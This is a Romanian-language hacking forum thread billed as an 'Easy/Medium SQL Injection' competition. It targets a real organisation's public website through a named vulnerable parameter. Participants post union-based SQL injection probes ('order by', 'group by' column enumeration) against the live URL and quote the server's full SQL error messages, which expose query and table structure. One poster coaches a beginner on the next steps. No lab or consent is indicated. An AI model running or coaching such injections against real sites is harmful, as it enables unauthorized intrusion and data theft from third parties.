Jump to content
vlad1395

[Easy/Medium] SQL Injection [6]

By vlad1395, in Challenges (CTF)

Recommended Posts

vlad1395 Newbie

vlad1395

Posted
Posted (edited)

O noua competitie, care sper ca o sa va placa.

- Sintaxele nu se vor face publice, se vor trimite prin PM !

- Postati aici doar un screen-shot ca dovada ca ati rezolvat (fara a se vedea rezolvarea)

Cerere: Extrageti ce vreti .

Dificultate:Easy

Metoda: Union Based

Vulnerable Parameter: ICI -

SURSA: HF

Proof: http://img685.imageshack.us/img685/4452/icij.png

NOTA:: Injectia se va face DOAR pe parametrul dat de mine.

Solvers

1. daemien/denjacker

2. ZeroCold

Edited by vlad1395
  • Upvote 1
gigaevil Newbie

gigaevil

Posted
Posted

Sunt incepator intre ale white hat hacking. De exemplu am gasit ca intradevar e vulnerabil la sql injection.

Si initial am scris

ICI - +order+by+1--

Mi-a dat o eroare serverul de sql, ceea ce nu trebuia ca exista coloana 1.

Chiar daca ii scriu 100 imi da aceeasi eroare

Discutam in privat?

denjacker Newbie

denjacker

Posted
Posted

Discutam aici sa inteleaga si ceilalti.

http://www.communityinclusion.org/staff.php?staff_id=129+order+by+1--

hai sa privim eroarea mai atent :

error in query1: SELECT a.article_id AS article_idx, article_title, timestamp, article_blurb, article_year_pub, article_month_pub FROM article a, article_staff at WHERE at.article_id = a.article_id and at.staff_id = 129 order by 1-- ORDER BY rank, article_year_pub desc, article_month_pub desc limit 5.You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY rank, article_year_pub desc, article_month_pub desc limit 5' at line 3

De aici ar trebuii sa deduci :

1] commentul folosit pentru a termina query-ul e incomplet sau ... inutil.

2] nu poti folosi "order by 1 ORDER BY rank" -- > ptr ca iti va genera eroare de sintaxa.

Incearca sa calculezi nr de coloane cu GROUP BY si apoi revino la punctul 1]. De fapt acolo e problema esentiala pentru rezolvarea competitiei.

  • Upvote 1
gigaevil Newbie

gigaevil

Posted
Posted

Am incercat

' GROUP BY table.columnfromerror1 HAVING 1=1 --

' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --

' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1

si tot degeaba :)

denjacker Newbie

denjacker

Posted
Posted

Nu fratioare...

http://www.communityinclusion.org/staff.php?staff_id=129+group+by+156353535353543534

error in query1: SELECT a.article_id AS article_idx, article_title, timestamp, article_blurb, article_year_pub, article_month_pub FROM article a, article_staff at WHERE at.article_id = a.article_id and at.staff_id = 129 group by 156353535353543534 ORDER BY rank, article_year_pub desc, article_month_pub desc limit 5.Unknown column '156353535353543534' in 'group statement'

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...